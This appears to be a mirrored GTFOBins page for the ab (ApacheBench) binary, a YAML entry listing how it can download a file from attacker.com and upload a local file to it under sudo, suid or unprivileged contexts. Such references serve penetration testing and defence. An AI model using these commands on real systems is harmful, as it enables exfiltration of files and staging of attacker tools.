mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 06:31:33 +01:00
665a248219
The rationale is that download/upload determine the data flow, but not the connection initiator, which can be either party.
20 lines
338 B
Plaintext
20 lines
338 B
Plaintext
---
|
|
functions:
|
|
download:
|
|
- code: |-
|
|
ab -v2 http://attacker.com/path/to/input-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
sender: http-server
|
|
upload:
|
|
- code: |-
|
|
ab -p /path/to/input-file http://attacker.com/
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
receiver: http-server
|
|
...
|